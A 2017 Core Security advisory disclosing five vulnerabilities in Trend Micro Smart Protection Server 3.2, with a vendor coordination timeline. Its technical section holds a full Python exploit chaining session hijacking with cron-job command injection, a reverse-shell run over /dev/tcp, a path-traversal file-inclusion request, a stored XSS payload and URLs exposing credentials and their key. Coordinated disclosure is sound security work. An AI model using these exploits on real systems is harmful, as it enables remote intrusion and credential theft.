1. *Advisory Information*
Title: Trend Micro Smart Protection Server Multiple Vulnerabilities
Advisory ID: CORE-2017-0008
Advisory URL: http://www.coresecurity.com/advisories/trend-micro-smart-protection-server-multiple-vulnerabilities
Date published: 2017-12-19
Date of last update: 2017-12-11
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Information Exposure Through Log Files [CWE-532], Improper
Neutralization of Special Elements used in an OS Command [CWE-78],
Improper Control of Filename for Include/Require Statement in PHP
Program [CWE-98], Improper Neutralization of Input During Web Page
Generation [CWE-79],Improper Authorization [CWE-285]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-11398, CVE-2017-14094, CVE-2017-14095,
CVE-2017-14096,CVE-2017-14097
3. *Vulnerability Description*
Trend Micro's website states that:
Trend Micro Smart Protection Server [1] is a next-generation, in-the-cloud
based, advanced protection solution. At the core of this solution is an
advanced scanning architecture that leverages malware prevention
signatures that are stored in-the-cloud. This solution leverages file
reputation and Web reputation technology to detect security risks. The
technology works by off loading a large number of malware prevention
signatures and lists that were previously stored on endpoints to Trend
Micro Smart Protection Server.
Multiple vulnerabilities were found in the Smart Protection Server's
Administration UI that would allow a remote unauthenticated attacker to
execute arbitrary commands on the system.
4. *Vulnerable Packages*
. Trend Micro Smart Protection Server 3.2 (Build 1085)
Other products and versions might be affected, but they were not tested.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Notes:
. SECURITY BULLETIN: Trend Micro Smart Protection Server (Standalone)
Multiple Vulnerabilities[2]
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. *Technical Description / Proof of Concept Code*
In section 7.1 we describe how an unauthenticated attacker could get a
session token to perform authenticated requests against the application.
Sections 7.2 and 7.3 describe two vectors to achieve remote command
execution in the context of the Web application.
Several public privilege escalation vulnerabilities exist that are still
unpatched. In combination with the aforementioned vulnerabilities a
remote unauthenticated attacker would be able to execute arbitrary
system commands with root privileges.
Sections 7.4 and 7.5 cover other common Web application vulnerabilities
found in the product's console.
7.1. *Session hijacking via log file disclosure*
[CVE-2017-11398]
The application stores diagnostic logs in the
/widget/repository/log/diagnostic.log file. Performing a login or some
basic browsing will write several entries with the following format:
/-----
2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null,<br />
<b>Notice</b>: Undefined index: param in
<b>/var/www/AdminUI/widget/inc/class/common/db/GenericDao.php</b> on
line <b>218</b><br /><br />
-----/
Each log entry leaks the associated session ID next to the log alert
level and can be accessed via HTTP without authenticating to the Web
application.
Therefore, an unauthenticated attacker can grab this file and hijack
active user sessions to perform authenticated requests.
7.2. *Remote command execution via cron job injection*
[CVE-2017-14094]
The script admin_update_program.php is responsible for creating a cron
job when software updates are scheduled. The HTTP request contains
several parameters that are used without sanitization as part of the
cron job created at /var/spool/cron/webserv. We will target the
hidTimingMin parameter.
File /var/www/AdminUI/php/admin_update_program.php:
/-----
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
[...]
$arr_au['Program']['AUScheduleTimingMin']=
isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0";
[...]
if ( $arr_au['Program']['UseAUSchedule'] == "1"){
if ( $arr_au['Program']['AUScheduleType'] == "0" ){
$crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'],
$arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*");
}else {
$crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'],
$arr_au['Program']['AUScheduleTimingHour'], "*", "*",
$arr_au['Program']['AUScheduleTimingDay']);
}
$crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program
--Schedule > /dev/null 2>&1");
$crontab->saveCronFile();
}
if(! $crontab->addToCrontab()){
header( 'Location:
admin_update_program.php?status=savecrontaberror&sid='.$session_name ) ;
exit;
}
-----/
File /var/www/AdminUI/php/inc/crontab.php:
/-----
function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL,
$dayofweek=NULL){
if($min=="0")
$this->minute=0;
elseif($min)
$this->minute=$min;
else
$this->minute="*";
if($hour=="0")
$this->hour=0;
elseif($hour)
$this->hour=$hour;
else
$this->hour="*";
$this->month=($month) ? $month : "*";
$this->day=($day) ? $day : "*";
$this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*";
}
function saveCronFile(){
$command=$this->minute." ".$this->hour." ".$this->day."
".$this->month." ".$this->dayofweek." ".$this->command."\n";
if(!fwrite($this->handle, $command))
return true;
else
return false;
}
function addToCrontab(){
if(!$this->filename)
exit('No name specified for cron file');
$data=array();
exec("crontab
".escapeshellarg($this->directory.$this->filename),$data,$ret);
if($ret==0)
return true;
else
return false;
}
-----/
The following python script creates a cron job that will run an
arbitrary command on every minute. It also leverages the session
hijacking vulnerability described in 7.1 to bypass the need of
authentication.
/-----
#!/usr/bin/env python
import requests
import sys
def exploit(host, port, command):
session_id = get_session_id(host, port)
print "[+] Obtained session id %s" % session_id
execute_command(session_id, host, port, command)
def get_session_id(host, port):
url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host,
port)
r = requests.get(url, verify=False)
for line in r.text.split('\n')[::-1]:
if "INFO" in line or "ERROR" in line:
return line.split(',')[3]
def execute_command(session_id, host, port, command):
print "[+] Executing command '%s' on %s:%d" % (command, host, port)
url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host,
port, session_id)
multipart_data = {
"ComponentSchedule": "on",
"ComponentScheduleOS": "on",
"ComponentScheduleService": "on",
"ComponentScheduleWidget": "on",
"useAUSchedule": "on",
"auschedule_setting": "1",
"update_method": "1",
"update_method3": "on",
"userfile": "",
"sid": session_id,
"hidComponentScheduleOS": "1",
"hidComponentScheduleService": "1",
"hidComponentScheduleWidget": "1",
"hidUseAUSchedule": "1",
"hidScheduleType": "1",
"hidTimingDay": "2",
"hidTimingHour": "2",
"hidTimingMin": "* * * * * %s #" % command,
"hidUpdateOption": "1",
"hidUpdateNowFlag": ""
}
r = requests.post(url, data=multipart_data, cookies={session_id:
session_id}, verify=False)
if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text:
print "[+] Cron job added, enjoy!"
else:
print "[-] Session has probably timed out, try again later!"
if __name__ == "__main__":
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
-----/
The following proof of concept opens a reverse shell to the attacker's
machine.
/-----
$ python coso.py 192.168.45.186 4343 'bash -i >&
/dev/tcp/192.168.45.80/8888 0>&1'
[+] Obtained session id q514un6ru6stcpf3k0n4putbd3
[+] Executing command 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1' on
192.168.45.186:4343
[+] Cron job added, enjoy!
$ nc -lvp 8888
Listening on [0.0.0.0] (family 0, port 8888)
Connection from [192.168.45.186] port 8888 [tcp/*] accepted (family 2,
sport 59508)
bash: no job control in this shell
[webserv@ localhost ~]$
-----/
7.3. *Remote command execution via local file inclusion*
[CVE-2017-14095]
The /widget/inc/widget_package_manager.php script passes user provided
input to the PHP require_once function without sanitization. However,
there are some restrictions that need to be overcome in order to include
arbitrary files, as the application appends PoolManager.php at the end
of the filename.
File /var/www/AdminUI/widget/inc/widget_package_manager.php:
/-----
switch($widgetRequest['act']){
case "check":
try{
// $strUpdateType = widget, configure_widget_and_widget_component
$strUpdateType = isset($widgetRequest['update_type']) ?
$widgetRequest['update_type'] : 'widget';
$strFuncName =
'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update';
$isUpdate =
WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();
[...]
-----/
File
/var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php:
/-----
public function getWidgetPoolManager($strUpdateType = 'widget'){
if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){
$strFileName =
$this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType);
require_once (self::getDirnameFile() .
'/widget/'.$strFileName.'PoolManager.php');
$strClassName = 'WF'.$strFileName.'PoolManager';
self::$instance[__FUNCTION__][$strUpdateType] = new
$strClassName($this->objFramework);
}
return self::$instance[__FUNCTION__][$strUpdateType];
}
-----/
One way for an attacker to place an arbitrary file on the system is to
abuse the update process that can be managed from the same product
console.
Files downloaded from alternate update sources are stored in the
/var/tmcss/activeupdate directory. An attacker can setup a fake update
server and trigger an update from it to download the malicious archive.
As an example, we have packed a reverse shell named
rshellPoolManager.php into the bf1747402402.zip archive. The following
server.ini would instruct the application to download the archive and
uncompress it inside /var/tmcss/activeupdate:
/-----
; =======================================
; ActiveUpdate 1.2 US
;
; Filename: Server.ini
;
; New Format AU 1.8
;
; Last modified by AUJP1 10/14/2015
; =======================================
[Common]
Version=1.2
CertExpireDate=Jul 28 08:52:40 2019 GMT
[Server]
AvailableServer=1
Server.1=http://<serverIP>:1080/
AltServer=http://<serverIP>:1080/
Https=http://<serverIP>:1080/
[PATTERN]
P.48040039=pattern/bf1747402402.zip,1747402402,257
-----/
After triggering an update from the Web console, the PHP script is
written to the expected location.
/-----
[root@ localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php
-rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php
-----/
The final step is to include the script and execute our payload.
/-----
POST
/widget/inc/widget_package_manager.php?sid=dj0efdmskngvt4lbhakgc6cru7
HTTP/1.1
Host: 192.168.45.186:4343
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Request: JSON
X-CSRFToken: dj0efdmskngvt4lbhakgc6cru7
Content-Type: application/json; charset=utf-8
Content-Length: 122
Cookie: dj0efdmskngvt4lbhakgc6cru7=dj0efdmskngvt4lbhakgc6cru7
Connection: close
{"act": "check", "update_type":
"../../../../../../../../../var/tmcss/activeupdate/rshell"}
-----/
Steven Seeley and Roberto Suggi Liverani presented various privilege
escalation vectors to move from webserv to root on their presentation "I
Got 99 Trends and a # Is All Of Them". Based on our testing the attacks
remain unpatched, so we did not try to find additional ways to escalate
privileges.
7.4. *Stored cross-site scripting*
[CVE-2017-14096]
The ru parameter of the wcs_bwlists_handler.php script is vulnerable to
cross-site scripting. This endpoint is used to manage user defined URLs.
After the rule is inserted, the payload will be executed every time the
user opens the user defined URLs section.
The following proof of concept stores code to open an alert box.
/-----
https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn=
-----/
7.5. *Improper access control*
[CVE-2017-14097]
The product console includes widgets that can be used to monitor other
servers.
Credentials to access the servers being monitored, widget logs and other
information reside on a SQLite database which can be accessed without
authentication at the following URL:
/-----
https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db
-----/
The credentials are stored using AES256 with a dynamic key. However, the
key is also placed inside the Web server directories and available for
download without authentication.
/-----
https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key
-----/
This would allow an attacker to decrypt the contents of the database,
rendering the encryption mechanism useless.
8. *Report Timeline*
. 2017-09-04:
Core Security sent an initial notification to Trend Micro, including a
draft advisory.
. 2017-10-02:
Core Security asked for an update on the vulnerability reported.
. 2017-10-02:
Trend Micro stated they are still in the process of creating the
official fix for the vulnerabilities reported. ETA for the fix should be
end of this month (October).
. 2017-11-13:
Core Security requested a status on the timeline for fixing the reported
vulnerabilities since the original ETA was not accomplished.
. 2017-11-14:
Trend Micro stated they are still working on the Critical Patch and
found problems along the way. Patch is now in QA.
. 2017-11-20:
Trend Micro informed availability for the fixes addressing 5 out of the
6 vulnerabilities reported. They stated one of the reported
vulnerabilities is on a table where the SQL query is allowed and 'does
not cause anything leaking'.
Still in the process of localizing the critical patches for other
regions. Will let us know when everything is covered in order to set a
disclosure date.
. 2017-11-21:
Core Security thanked the update and agreed on removing one of the
reported vulnerabilities.
. 2017-12-05:
Trend Micro provided the CVE-ID for all the vulnerabilities reported and
proposed the public disclosure date to be December 14th.
. 2017-12-06:
Core Security thanked the update and proposed public disclosure date to
be Tuesday December 19th @ 12pm EST.
. 2017-12-19:
Advisory CORE-2017-0008 published.
9. *References*
[1]
https://www.trendmicro.com/en_ca/business/technologies/smart-protection-network.html
[2] https://success.trendmicro.com/solution/1118992
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at: http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight
they need to know who, how, and what is vulnerable in their
organization. The company's threat-aware, identity & access,
network security, and vulnerability management solutions
provide actionable insight and context needed to manage
security risks across the enterprise. This shared insight
gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight
allows organizations to prioritize their efforts to protect
critical assets, take action sooner to mitigate access risk,
and react faster if a breach does occur.
Core Security is headquartered in the USA with offices and
operations in South America, Europe, Middle East and Asia. To
learn more, contact Core Security at (678) 304-4500 or
info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2017 Core Security and
(c) 2017 CoreLabs, and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.